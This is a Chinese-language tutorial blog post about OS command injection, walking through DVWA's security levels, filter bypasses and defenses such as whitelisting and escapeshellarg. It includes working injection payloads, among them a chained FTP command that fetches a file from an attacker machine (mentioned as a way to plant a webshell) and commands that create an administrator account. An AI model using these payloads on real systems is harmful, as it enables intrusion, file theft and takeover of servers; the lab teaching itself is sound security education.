0

0

【命令执行】命令执行漏洞总结v1.0

蓮花仙者

蓮花仙者

发布时间:2025-09-26 09:20:01

|

867人浏览过

|

来源于php中文网

原创

你好,各位小伙伴们,晚上好!我是你们的小编~

最近网络安全的话题真是热得不得了,连电视剧都开始蹭热度了。不知道大家有没有从中学到一些小技巧呢?

今天我们要聊的是命令执行漏洞的基础知识,一起来学习一下吧~

Part.1

什么是命令执行漏洞?

漏洞概述

在Web程序中,由于业务需求需要通过前端传递参数到后台服务器上执行命令。但如果开发人员没有对输入进行严格的过滤,攻击者就能构造一些带有非法目的的命令,欺骗后台服务器执行这些命令。

如果Web应用运行在root权限下,命令执行漏洞可能会导致攻击者在服务器上执行任意命令。

以DVWA平台的low安全等级为例,我们来看看这个漏洞的具体成因。漏洞页面如下:

【命令执行】命令执行漏洞总结v1.0输入IP地址并点击Submit,ping命令就会被执行:

【命令执行】命令执行漏洞总结v1.0查看后端代码:

【命令执行】命令执行漏洞总结v1.0首先通过php_uname('s')读取操作系统名,并与'Windows NT'对比以判断是否为Windows系统。

如果是Windows系统,则通过shell_exec()函数执行ping命令。

如果不是,则判断为Linux系统,执行ping -c 4命令。(因为Linux系统如果不指定发包数,ping会一直持续)

可以看到,这里没有对输入的'ip'参数进行任何过滤,因此存在命令执行漏洞。

在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig,结果如下:

【命令执行】命令执行漏洞总结v1.0ipconfig也被执行了,并且成功返回结果。

这就是一个简单的命令执行漏洞,如果web应用为root权限,我们还可以执行创建用户等各类操作。

常见的连接符

除了上面的&符,还有其他连接符,如下。

"|":前面命令的输出结果作为后面命令的输入内容;输入8.8.8.8|whoami:

【命令执行】命令执行漏洞总结v1.0"||":前面命令执行失败时才执行后面的命令;输入8.8.8.8||whoami:

【命令执行】命令执行漏洞总结v1.0"&":前面命令执行后接着执行后面的命令;

输入错误地址192.1.1.1&whoami:

【命令执行】命令执行漏洞总结v1.0"&&":前面命令执行成功时才执行后面的命令;

输入错误地址192.1.1.1&&whoami:

【命令执行】命令执行漏洞总结v1.0此外,Linux系统还可以使用";"号进行连接。

常用的命令执行函数

以PHP为例,常用的命令执行函数包括system、exec、shell_exec、passthru。

区别如下:

system:成功执行返回结果的最后一行,否则返回FALSEexec:成功执行返回结果的最后一行shell_exec:成功执行返回全部结果,否则返回NULLpassthru:把命令的运行结果原样地直接输出到标准输出设备接下来我们来看看DVWA平台,其他安全等级是如何防护和绕过的。

Part.2

漏洞的分析

Medium等级

后端代码:

【命令执行】命令执行漏洞总结v1.0Medium等级新增了str_replace()函数,将输入中的&&和;号替换为空。

但我们仍可以使用&、|、||等符号。

输入8.8.8.8&whoami绕过:

【命令执行】命令执行漏洞总结v1.0可以看到,这里采用了黑名单过滤的防护方式。

【命令执行】命令执行漏洞总结v1.0High等级

部分后端代码:

Shell脚本编写基础 中文WORD版
Shell脚本编写基础 中文WORD版

Shell本身是一个用C语言编写的程序,它是用户使用Linux的桥梁。Shell既是一种命令语言,又是一种程序设计语言。作为命令语言,它交互式地解释和执行用户输入的命令;作为程序设计语言,它定义了各种变量和参数,并提供了许多在高级语言中才具有的控制结构,包括循环和分支。它虽然不是Linux系统核心的一部分,但它调用了系统核心的大部分功能来执行程序、建立文件并以并行的方式协调各个程序的运行。因此,对于用户来说,shell是最重要的实用程序,深入了解和熟练掌握shell的特性极其使用方法,是用好Linux系统

下载

【命令执行】命令执行漏洞总结v1.0可以看到high等级过滤得更多了,但还是可以绕过,这里'| '里有个空格。

输入8.8.8.8|whoami,成功执行:

【命令执行】命令执行漏洞总结v1.0(强行留后门???)

Impossible等级

后端代码如下:

【命令执行】命令执行漏洞总结v1.0首先通过stripslashes()函数删除输入中的反斜杠。

然后通过explode()函数,以逗号为分隔符,对输入的内容进行分隔。

最后,使用is_numeric()函数,逐一检查分隔出的每一部分是不是数字。并且使用sizeof()函数判断分隔出来的内容是不是4部分,以此来判断用户输入的是不是IP。

白名单过滤,只有“数字.数字.数字.数字”类型的输入才会被执行,因此不存在命令执行漏洞了。

Part.3

漏洞的利用示例

读取指定目录内容

例如读取目录C:\windows\

输入8.8.8.8|dir C:\windows\

【命令执行】命令执行漏洞总结v1.0查看页面源代码:

【命令执行】命令执行漏洞总结v1.0读取指定文件内容

例如C:\windows\win.ini

输入8.8.8.8|type C:\windows\win.ini

查看网页源代码:

【命令执行】命令执行漏洞总结v1.0文件上传

在攻击者本地写一个php脚本,例如phpinfo.php,开启FTP服务。

输入8.8.8.8|echo open 192.168.211.1 > o&echo get phpinfo.php >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

成功下载到服务器,如下:

【命令执行】命令执行漏洞总结v1.0尝试访问phpinfo.php,成功:

【命令执行】命令执行漏洞总结v1.0同理可上传webshell。

其他还包括创建管理员等操作,这里就不一一演示了:

127.0.0.1 | net user test 123 /add

127.0.0.1 | net localgroup administrators test /add

Part.4

漏洞的防御

漏洞的防御

1、对传入的命令进行严格的过滤

2、在后台对应用的权限进行控制,即使有漏洞,也不能执行高权限命令。

3、使用安全函数对输入转义

EscapeShellCmd()函数

【命令执行】命令执行漏洞总结v1.0EscapeShellArg()函数

【命令执行】命令执行漏洞总结v1.0Part.5

结束语

好啦,

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

788

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1129

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

804

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

454

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2355

2023.08.08

windows自动更新
windows自动更新

Windows操作系统的自动更新功能可以确保系统及时获取最新的补丁和安全更新,以提高系统的稳定性和安全性。然而,有时候我们可能希望暂时或永久地关闭Windows的自动更新功能。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

823

2023.08.10

windows boot manager
windows boot manager

windows boot manager无法开机的解决方法:1、系统文件损坏,使用Windows安装光盘或USB启动盘进入恢复环境,选择修复计算机,然后选择自动修复;2、引导顺序错误,进入恢复环境,选择命令提示符,输入命令"bootrec /fixboot"和"bootrec /fixmbr",然后重新启动计算机;3、硬件问题,使用硬盘检测工具进行扫描和修复;4、重装操作系统。本专题还提供其他解决

1646

2023.08.28

windows锁屏快捷键
windows锁屏快捷键

windows锁屏快捷键是Windows键+L、Ctrl+Alt+Del、Windows键+D、Windows键+P和Windows键+R。本专题为大家提供windows相关的文章、下载、课程内容,供大家免费下载体验。

1640

2023.08.30

C++ 设计模式与软件架构
C++ 设计模式与软件架构

本专题深入讲解 C++ 中的常见设计模式与架构优化,包括单例模式、工厂模式、观察者模式、策略模式、命令模式等,结合实际案例展示如何在 C++ 项目中应用这些模式提升代码可维护性与扩展性。通过案例分析,帮助开发者掌握 如何运用设计模式构建高质量的软件架构,提升系统的灵活性与可扩展性。

7

2026.01.30

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 5.1万人学习

JavaScript
JavaScript

共185课时 | 21.5万人学习

【web前端】Node.js快速入门
【web前端】Node.js快速入门

共16课时 | 2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号